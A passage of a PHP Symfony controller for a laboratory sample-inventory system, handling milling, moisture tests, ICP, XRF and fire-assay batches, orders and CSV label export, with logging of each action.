$entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
$entry->setMillStatus('Milled');
$entry->setDateMilled(new \DateTime());
$this->em->persist($entry);
array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Mill Status');
$log->setText('Sample mill status was updated to Milled');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
}
}
if (null !== $request->get('revert')){
$info = $request->get('ids');
if(!empty($info)){
foreach($info as $j) {
$entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
$entry->setMillStatus('Original');
$entry->setDateMilled(null);
$this->em->persist($entry);
array_push($loginfo, $entry->getId() . ' - ' . $entry->getSamplename());
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Mill Status');
$log->setText('Sample mill status reverted to Original');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
}
}
}
$millinv = $this->getDoctrine()->getRepository(Inventory::class)->findby(['millStatus' => 'To Mill'], ['priority' => 'ASC', 'id' => 'DESC']);
return $this->render('cats/mill.html.twig', [
'inventory' => $millinv
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/fassayreg/disqbatches", name="disqbatches")
* @return Response $response
*/
public function disqbatches(Request $request)
{
$disqbatches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy(
['status' => ["finished",null,]],['id'=>'DESC'],50
);
return $this->render('cats/disqbatches.html.twig', [
'batches' => $disqbatches
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/icp/icpbatches", name="icpbatches")
* @return Response $response
*/
public function icpbatches(Request $request)
{
$icpbatches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy(
['status' => null],['id' => 'DESC'],
50
);
return $this->render('cats/icpbatches.html.twig', [
'batches' => $icpbatches
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/fassayreg/fabatches", name="fabatches")
* @return Response $response
*/
public function fabatches(Request $request)
{
$fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findBy(
['status' => [null,'finished']],['id' => 'DESC']
);
return $this->render('cats/fabatches.html.twig', [
'fabatches' => $fabatches
]);
}
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/fassayreg/au-batches", name="au-batches")
* @return Response $response
*/
public function auBatches(AuBatchManager $auBatchManager): Response
{
return $this->render(
'cats/au-batches.html.twig',
['batches' => $auBatchManager->getList(), 'details' => $auBatchManager->getDetails()]
);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/inv", name="visitorinventory")
* @return Response $response
*/
public function visitorinventory(Request $request)
{
return $this->render('cats/visitinv.html.twig');
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/inventory", name="inventory")
* @return Response $response
*/
public function inventory(Request $request)
{
if ( $request->isMethod("post") ) {
$loginfo= [];
if (null !== $request->get('edit')){
$info = $request->get('ids');
//dump($request);
$editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
'id' => $info
]);
return $this->render('cats/edit.html.twig', [
'inventory' => $editinv
]);
}
if (null !== $request->get('startanalysis')){
$info = $request->get('ids');
/** @var Inventory $dumby */
if(!empty($info)) {
foreach ($info as $j) {
$dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
$dumby->setAnalysisStatus('None');
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
} elseif (($dumby->getAnalysisStatus() != 'Completed')) {
$dumby->setAnalysisStatus('To Start');
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
} elseif (($dumby->getAnalysisStatus() == 'Completed')) {
$dumby->setAnalysisStatus('In Progress');
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Analysis Status');
$log->setText('Analysis status manually altered for samples');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->persist($dumby);
}
}
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('editconfirm')){
$info = $request->get('entry');
foreach($info as $j) {
$entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
//dump($entry);
array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
$entry->setSampleType($j['type'])
->setSampleSubtype($j['subtype'])
->setSampleName($j['name']);
$entry->setCountry($j['country']);
if ((float)str_replace(",",".",$j['mass']) > 0) {
$entry->setMass((float)str_replace(",",".",$j['mass']));
}
if ((float)str_replace(",",".",$j['metalweight']) > 0) {
$entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
}
$entry->setExportno($j['export']);
$this->em->persist($entry);
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Sample Info');
$log->setText('Sample information was edited');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('manualicp')){
$info = $request->get('ids');
//dump($request);
$micp = $this->getDoctrine()->getRepository(Inventory::class)->findby([
'id' => $info
]);
return $this->render('cats/micp.html.twig', [
'inventory' => $micp
]);
}
if (null !== $request->get('manualicpconfirm')){
$info = $request->get('entry');
if(in_array('ROLE_SUPER',$this->getUser()->getRoles())){
foreach($info as $j) {
$entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
//dump($entry);
/** @var Inventory $entry */
$entry->setIcppt((int)$j['pt'])
->setIcppd((int)$j['pd'])
->setIcprh((int)$j['rh'])
->setDateFinished(new \DateTime())
->setAnalysisStatus('Completed');
$this->em->persist($entry);
array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Assay Info');
$log->setText('Assay information was manually added');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
}
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('addtoorder')){
$info = $request->get('entry');
//dump($info);
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('xrf')){
$info = $request->get('ids');
//dump($request);
$xrfinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
'id' => $info
]);
return $this->render('cats/xrf.html.twig', [
'inventory' => $xrfinv
]);
}
if (null !== $request->get('xrfconfirm')){
$info = $request->get('entry');
foreach($info as $j) {
/** @var Inventory $entry */
$entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
//dump($entry);
$entry->setXrfpt($j['pt'] != 0 ? round((float)$j['pt'],0) : 0)->setXrfpd($j['pd'] != 0 ? round((float)$j['pd'],0) : 0)->setXrfrh($j['rh'] != 0 ? round((float)$j['rh'],0) : 0)->setXrfStatus('Added');
$this->em->persist($entry);
array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . (int)$j['pt']. ' - ' . (int)$j['pd']. ' - ' . (int)$j['rh']);
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('XRF Info');
$log->setText('XRF information was manually added');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('mill')){
$info = $request->get('ids');
//dump($request);
/** @var Inventory $dumby */
if(!empty($info)) {
foreach ($info as $j) {
$dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
$dumby->setMillStatus('To Mill');
$this->em->persist($dumby);
}
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Mill Status');
$log->setText('Sample mill status changed to To Mill');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
//=======================================================================================
if (null !== $request->get('moist')){
$info = $request->get('ids');
/** @var Inventory $dumby */
if(!empty($info)) {
foreach ($info as $j) {
$dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
if(count($dumby->getMoists()) == NULL) {
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName());
$newmoists1 = new Moists();
$newmoists1->setMoistsref($dumby->getId() . "-M1");
$newmoists1->setAssignedSample($dumby);
$newmoists1->setStatus('To Do');
$newmoists1->setCounts(true);
$this->em->persist($newmoists1);
$newmoists2 = new Moists();
$newmoists2->setMoistsref($dumby->getId() . "-M2");
$newmoists2->setAssignedSample($dumby);
$newmoists2->setStatus('To Do');
$newmoists2->setCounts(true);
$this->em->persist($newmoists2);
$dumby->setMoistStatus("In Progress");
} elseif(count($dumby->getMoists()) == 2) {
array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
$newmoists3 = new Moists();
$newmoists3->setMoistsref($dumby->getId() . "-M3");
$newmoists3->setAssignedSample($dumby);
$newmoists3->setStatus('To Do');
$newmoists3->setCounts(true);
$this->em->persist($newmoists3);
$dumby->setMoistStatus("In Progress");
} elseif(count($dumby->getMoists()) == 3) {
array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
$newmoists4 = new Moists();
$newmoists4->setMoistsref($dumby->getId() . "-M4");
$newmoists4->setAssignedSample($dumby);
$newmoists4->setStatus('To Do');
$newmoists4->setCounts(true);
$this->em->persist($newmoists4);
$dumby->setMoistStatus("In Progress");
} elseif(count($dumby->getMoists()) == 4) {
array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
$newmoists5 = new Moists();
$newmoists5->setMoistsref($dumby->getId() . "-M5");
$newmoists5->setAssignedSample($dumby);
$newmoists5->setStatus('To Do');
$newmoists5->setCounts(true);
$this->em->persist($newmoists5);
$dumby->setMoistStatus("In Progress");
} elseif(count($dumby->getMoists()) == 1) {
array_push($loginfo, $dumby->getId() . ' - ' . $dumby->getSampleName());
foreach ($dumby->getMoists() as $i){
/** @var Moists $moist */
$moist = $this->getDoctrine()->getRepository(Moists::class)->find($i);
if (substr($moist->getMoistsref(),-1) == "M"){
$moist->setMoistsref($dumby->getId() . "-M1");
$moist->setStatus("Reverted for 2nd");
}
}
$newmoists2 = new Moists();
$newmoists2->setMoistsref($dumby->getId() . "-M2");
$newmoists2->setAssignedSample($dumby);
$newmoists2->setStatus('To Do');
$newmoists2->setCounts(true);
$this->em->persist($newmoists2);
$dumby->setMoistStatus("In Progress");
}
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Moisture Info');
$log->setText('Sample were put up for Moisture testing');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
}
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('moistrevert')){
$info = $request->get('ids');
/** @var Inventory $inv */
if(!empty($info)){
foreach ($info as $j){
$inv = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
if ($inv->getMoistStatus() == "Archived" or $inv->getMoistStatus() == null){
$inv->setMoistStatus("Reverted");
foreach ($inv->getMoists() as $i){
/** @var Moists $i*/
$i->setStatus('Reverted');
$this->em->persist($i);
}
}
$this->em->persist($inv);
}
$this->em->flush();
}
}
}
$orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
return $this->render('cats/catinventory.html.twig', [
'orders' => $orders
]);
}
/**
* @Route("/cat/labelCsv", name="cat_labelCsv")
* @param Request $request
* @return StreamedResponse
*/
public function catLabelCsv(Request $request): StreamedResponse
{
$samples = $request->get('samples');
$labels = [];
foreach ($samples as $sampleId) {
/** @var Inventory $sample */
$sample = $this->getDoctrine()->getRepository(Inventory::class)->find($sampleId);
if ($sample) {
$labels[] = [
$sample->getId(),
$sample->getSampleName() ?? ''
];
}
}
$response = new StreamedResponse(function() use ($labels) {
$handle = fopen('php://output', 'w+');
// Add the header of the CSV file
fputcsv($handle, ['ID', 'Sample Reference']);
foreach ($labels as $label) {
fputcsv($handle, $label);
}
fclose($handle);
});
$response->headers->set('Content-Type', 'text/csv');
$response->headers->set('Content-Disposition', 'attachment; filename="cat_labels.csv"');
return $response;
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/adminventory", name="adminventory")
* @return Response $response
*/
public function adminventory(Request $request)
{
if ( $request->isMethod("post") ) {
$loginfo= [];
if (null !== $request->get('edit')){
$info = $request->get('ids');
//dump($request);
$editinv = $this->getDoctrine()->getRepository(Inventory::class)->findby([
'id' => $info
]);
return $this->render('cats/edit.html.twig', [
'inventory' => $editinv
]);
}
if (null !== $request->get('startanalysis')){
$info = $request->get('ids');
/** @var Inventory $dumby */
if(!empty($info)) {
foreach ($info as $j) {
$dumby = $this->getDoctrine()->getRepository(Inventory::class)->find($j);
if (($dumby->getAnalysisStatus() == 'In Progress') or ($dumby->getAnalysisStatus() == 'To Start')){
$dumby->setAnalysisStatus('None');
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - None');
} elseif (($dumby->getAnalysisStatus() != 'Completed')) {
$dumby->setAnalysisStatus('To Start');
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
} elseif (($dumby->getAnalysisStatus() == 'Completed')) {
$dumby->setAnalysisStatus('In Progress');
array_push($loginfo, $dumby->getId() . ' - ' .$dumby->getSampleName() . ' - To Start');
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Analysis Status');
$log->setText('Analysis status manually altered for samples');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->persist($dumby);
}
}
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('editconfirm')){
$info = $request->get('entry');
foreach($info as $j) {
$entry = $this->getDoctrine()->getRepository(Inventory::class)->find($j['id']);
//dump($entry);
array_push($loginfo, $entry->getId() . ' - ' .$entry->getSampleName() . ' - ' . ' - ' .$j['type']. ' - ' .$j['subtype']. ' - ' .$j['name']. ' - ' .$j['country']. ' - ' .$j['mass']. ' - ' . $j['export']);
$entry->setSampleType($j['type'])
->setSampleSubtype($j['subtype'])
->setSampleName($j['name']);
$entry->setCountry($j['country']);
if ((float)str_replace(",",".",$j['mass']) > 0) {
$entry->setMass((float)str_replace(",",".",$j['mass']));
}
$entry->setExportno($j['export']);
$this->em->persist($entry);
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Sample Info');
$log->setText('Sample information was edited');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(", ", $loginfo));
$this->em->persist($log);
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
if (null !== $request->get('addtoorder')){
$info = $request->get('entry');
//dump($info);
return $this->redirect($this->generateUrl('inventory'));
}
}
$orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
return $this->render('cats/catadminventory.html.twig', [
'orders' => $orders
]);
}
//=====================================================================================================================================================================================<
/**
* @Route("/getinv", name="getinv")
*/
public function ajaxgetinv()
{
$response = new Response();
$list=[];
$inventory = $this->getDoctrine()->getRepository(Inventory::class)->findBy([],[
'id' => "DESC"
]);
$qb = $this->em->createQuery('SELECT r, s.analysisStatus FROM App\Entity\RRun r INNER JOIN r.assignedSample s WHERE r.id = :id')->setParameter('id',3000);
//dump($qb->getOneOrNullResult());
//foreach($inventory as $j){
// $list[] = $j->getInfo();
//}
$response->setContent(json_encode([
'data' => $list,
]));
$response->headers->set('Content-Type', 'application/json');
return $response;
}
//=====================================================================================================================================================================================<
// /**
// * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
// * @Route("/moists", name="moists")
// * @param Request $request
// * @return Response $response
// */
// public function moists(Request $request)
// {
// $moists = $this->getDoctrine()->getRepository(Moists::class)->findBy([
// 'status' => ['To Do', 'Calculated 1', 'Calculated 2', 'Reverted']
// ]);
// return $this->render('cats/moists.html.twig',[
// 'inventory' => $moists
// ]);
// }
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/moistsresult", name="moistsresult")
* @param Request $request
* @return Response $response
*/
public function moistsresult(Request $request)
{
return $this->render('cats/moistsresult.html.twig',[]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/moists2", name="moists2")
* @param Request $request
* @return Response $response
*/
public function moists2(Request $request)
{
return $this->render('cats/moists2.html.twig',[]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/moistarchived", name="moistsarchived")
* @param Request $request
* @return Response $response
*/
public function moistsarchive(Request $request)
{
return $this->render('cats/moistsarchive.html.twig',[]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/fassayprelim", name="fassayprelim")
* @param Request $request
* @return Response $response
*/
public function fassayprelim(Request $request){
$fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
// $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
// 'status' => ['Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated']
// ]);
/* @var QueryBuilder $qb */
$qb = $this->em->createQueryBuilder();
$qb->select('a,b,c');
$qb->from(PRun::class, 'a');
$qb->leftJoin('a.assignedSample', 'b');
$qb->leftJoin('b.assignedOrder', 'c');
$qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'Calculated', 'Recalculated')");
if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
$qb->andWhere('c.WNJ = TRUE');
}
$prelims=$qb->getQuery()->getResult();
$data = $request->request->all();
if ( $request->isMethod("post") ) {
if (null !== $request->get('newfabatch')) {
if ($data and isset($data['entry']) and isset($data['chkids'])) {
$info2 = $data['chkids'];
$newbatch = new FABatch();
$newbatch->setDate(new \DateTime());
$this->em->persist($newbatch);
foreach ($info2 as $j) {
$icprundummy = $this->getDoctrine()->getRepository(PRun::class)->findOneBy([
'id' => $j
]);
$icprundummy->setAssignedFABatch($newbatch);
$this->em->persist($icprundummy);
}
$this->em->flush();
return $this->redirect($this->generateUrl('fassayprelim'));
}
}
}
return $this->render('cats/fassayprelim.html.twig',[
'pruns' => $prelims,
'fabatches' => $fabatches
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/fassayreg/{type}", name="fassayreg")
* @param string $type
* @param Request $request
* @return Response $response
*/
public function fassayreg(string $type, Request $request)
{
// /* @var QueryBuilder $qb */
// $qb = $this->em->createQueryBuilder();
// $qb->select('a,b,c');
// $qb->from(RRun::class, 'a');
// $qb->leftJoin('a.assignedSample', 'b');
// $qb->leftJoin('b.assignedOrder', 'c');
// $qb->where("a.status IN ('Confirm?', 'Weigh Q', 'FA Q', 'CUP Q', 'DIS Q', 'Completed')");
// if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
// $qb->andWhere('c.WNJ = TRUE');
// }
// $rruns = ($qb->getQuery()->getResult());
$batches = $this->getDoctrine()->getRepository(DISQBatch::class)->findBy([],['id' => 'DESC'],60);
$fabatches = $this->getDoctrine()->getRepository(FABatch::class)->findByStatusWithPriority(100);
$data = $request->request->all();
if ( $request->isMethod("post") ) {
if (null !== $request->get('newbatch')) {
if ($data and isset($data['entry']) and isset($data['chkids'])) {
$info2 = $data['chkids'];
$newbatch = new DISQBatch();
$newbatch->setDate(new \DateTime());
$newbatch->setStatus('');
$this->em->persist($newbatch);
foreach ($info2 as $j) {
$icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
'id' => $j
]);
if ($icprundummy->getStatus()=='DIS Q') {
$icprundummy->setAssignedDISQBatch($newbatch);
$this->em->persist($icprundummy);
}
}
$this->em->flush();
return $this->redirect($this->generateUrl('fassayreg'));
}
}
if (null !== $request->get('unassignbatch')) {
if ($data and isset($data['entry']) and isset($data['chkids'])) {
$info2 = $data['chkids'];
foreach ($info2 as $j) {
$icprundummy = $this->getDoctrine()->getRepository(RRun::class)->findOneBy([
'id' => $j
]);
$icprundummy->setAssignedDISQBatch(NULL);
$this->em->persist($icprundummy);
}
$this->em->flush();
return $this->redirect($this->generateUrl('fassayreg'));
}
}
return $this->redirect($this->generateUrl('fassayreg'));
}
return $this->render('cats/fassayreg.html.twig',[
// 'rruns' => $rruns,
'batches' => $batches,
'fabatches' => $fabatches
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/icp", name="icp")
* @param Request $request
* @return Response $response
*/
public function icp(Request $request)
{
$batches = $this->getDoctrine()->getRepository(ICPBatch::class)->findBy([],['id' => 'DESC'],60);
return $this->render('cats/icp.html.twig',[
'batches' => $batches,
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/icprecent", name="icprecent")
* @param Request $request
* @return Response $response
*/
public function icprecent(Request $request)
{
return $this->render('cats/icprecent.html.twig',[
'icpruns' => []
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/icpall", name="icpall")
* @param Request $request
* @return Response $response
*/
public function icpall(Request $request)
{
return $this->render('cats/icpall.html.twig',[
'icpruns' => []
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/fassayregarchive", name="fassayregarchive")
* @param Request $request
* @return Response $response
*/
public function fassayregarchive(Request $request)
{
//$rruns = $this->getDoctrine()->getRepository(RRUN::class)->findBy([
// 'status' => ['Archived']
//]);
return $this->render('cats/fassayregarchive.html.twig',[
//'rruns' => $rruns
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/fassayregrecent", name="fassayregrecent")
* @param Request $request
* @return Response $response
*/
public function fassayregrecent(Request $request)
{
return $this->render('cats/fassayregrecent.html.twig',[]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @Route("/fassaypreliminaryarchive", name="fassaypreliminaryarchive")
* @param Request $request
* @return Response $response
*/
public function fassaypreliminaryarchive(Request $request)
{
// $prelims = $this->getDoctrine()->getRepository(PRun::class)->findBy([
// 'status' => ['Archived']
// ]);
return $this->render('cats/fassayprelimarchive.html.twig',[]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("cats/addCatSamples", name="addCatSamples")
* @return Response $response
*/
public function addCatSamples(Request $request)
{
if ( $request->isMethod("post") ) {
$info = $request->get('entry');
//dump($info);
$samplenames = [];
$date = $request->get('date');
foreach($info as $j){
$entry = new Inventory();
$entry->setDateofreceipt(new \DateTime($date));
$entry->setSampleType($j['type']);
$entry->setSampleSubType($j['subtype']);
$entry->setSampleName($j['name']);
$entry->setAddedtocatalogue(false);
array_push($samplenames, $j['name']);
$entry->setPriority('Normal');
if ((float)str_replace(",",".",$j['mass']) > 0) {
$entry->setMass((float)str_replace(",",".",$j['mass']));
}
if ((float)str_replace(",",".",$j['metalweight']) > 0) {
$entry->setMetalweight((float)str_replace(",",".",$j['metalweight']));
}
$entry->setMillStatus("Original");
$entry->setAnalysisStatus("None");
$entry->setXrfStatus("To Add");
$entry->setCountry($j['country']);
$entry->setExportno($j['export']);
$entry->setReady(false);
$this->em->persist($entry);
}
$log = new Log();
$log->setDate(new \DateTime());
$log->setType('Added Samples');
$log->setText('New samples were added');
$log->setAssignedUser($this->getUser());
$log->setText2(implode(",", $samplenames));
$this->em->persist($log);
$this->em->flush();
return $this->redirect($this->generateUrl('inventory'));
}
return $this->render('cats/addsamples.html.twig');
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("cats/addCatOrders", name="addCatOrders")
* @return Response $response
*/
public function addCatOrders(Request $request)
{
if ( $request->isMethod("post") ) {
$info = $request->get('entry');
//dump($info);
$date = $request->get('date');
//dump($date);
$entry = new Orders();
$entry->setDateofreceipt(new \DateTime($info['dateofreceipt']));
$entry->setOrderno(strtoupper($info['orderno']));
$entry->setSender($info['sender']);
$entry->setMReceive((float)$info['mreceive']);
$entry->setClient($info['client']);
$entry->setStatus('Open');
$entry->setWaybill($info['wb']);
$entry->setCourrier($info['courrier']);
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('orders'));
}
return $this->render('cats/addorders.html.twig');
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/incomingorders", name="incomingorders")
* @return Response $response
*/
public function incomingorders(Request $request)
{
if ( $request->isMethod("post") ) {
$info = $request->get('entry');
//dump($info);
$date = $request->get('date');
//dump($date);
$entry = new Orders();
$entry->setDateofreceipt(new \DateTime($date));
$entry->setOrderno(strtoupper($info['orderno']));
$entry->setSender($info['sender']);
$entry->setClient($info['client']);
$entry->setStatus('Open');
$entry->setWaybill($info['wb']);
$entry->setCourrier($info['courrier']);
$this->em->persist($entry);
$this->em->flush();
return $this->redirect($this->generateUrl('orders'));
}
$orders = $this->em->getRepository(ClientParcel::class)->findAll();
return $this->render('cats/incomingorders.html.twig',[
'orders' => $orders
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/orders", name="orders")
* @return Response $response
*/
public function orders(Request $request)
{
/* @var QueryBuilder $qb */
$qb = $this->em->createQueryBuilder();
$qb->select('a');
$qb->from(Orders::class, 'a');
if(in_array('ROLE_ADMINISTRATORIUS',$this->getUser()->getRoles())){
$qb->where('a.WNJ = TRUE');
}
$orders = ($qb->getQuery()->getResult());
if ( $request->isMethod("post") ) {
if (null !== $request->get('edit')){
$info = $request->get('ids');
//dump($request);
//dump($info);
$editorders = $this->getDoctrine()->getRepository(Orders::class)->findby([
'id' => $info
]);
return $this->render('cats/editorders.html.twig', [
'orders' => $editorders
]);
}
if (null !== $request->get('editconfirm')){
$info = $request->get('entry');
foreach($info as $j) {
$date = $request->get('date');
$entry = $this->getDoctrine()->getRepository(Orders::class)->find($j['id']);
/** @var Orders $entry */
$entry->setDateofreceipt(new \DateTime($j['dateofreceipt']));
$entry->setOrderno($j['orderno']);
$entry->setMReceive((float)$j['mreceive']);
$entry->setSender($j['sender']);
$entry->setClient($j['client']);
$entry->setWaybill($j['wb']);
if ($j['mdisposed'] > 0){
$entry->setMDisposed((float)$j['mdisposed']);
$entry->setDisposeDate(new \DateTime($j['disposedate']));
}
$entry->setCourrier($j['courrier']);
$this->em->persist($entry);
}
$this->em->flush();
return $this->redirect($this->generateUrl('orders'));
}
}
return $this->render('cats/orders.html.twig',[
'orders' => $orders
]);
}
//=====================================================================================================================================================================================<
/**
* @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
* @param Request $request
* @Route("/tasks", name="tasks")
* @return Response $response
*/
public function tasks(Request $request)
{
/** @var Inventory $inv */
$inv = $this->getDoctrine()->getRepository(Inventory::class)->findAll();
/** @var Orders $orders */
$orders = $this->getDoctrine()->getRepository(Orders::class)->findAll();
/** @var Inventory $priority */
$priority = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
'priority' => "High",
'analysisStatus' => ["In Progress","To Start"]
]);
/** @var Inventory $milllist */
$milllist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
'millStatus' => "To Mill"
]);
/** @var Inventory $milllist */
$openlist = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
'analysisStatus' => ["In Progress","To Start"]
]);
/** @var PRun $prunweighq */
$prunweighq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
'status' => "Weigh Q"
]);
/** @var RRun $rrunweighq */
$rrunweighq = $this->getDoctrine()->getRepository(RRun::class)->findBy([
'status' => "Weigh Q"
]);
/** @var PRun $prunfaq */
$prunfaq = $this->getDoctrine()->getRepository(PRun::class)->findBy([
'status' => "FA Q"
]);
/** @var RRun $rrunfaq */
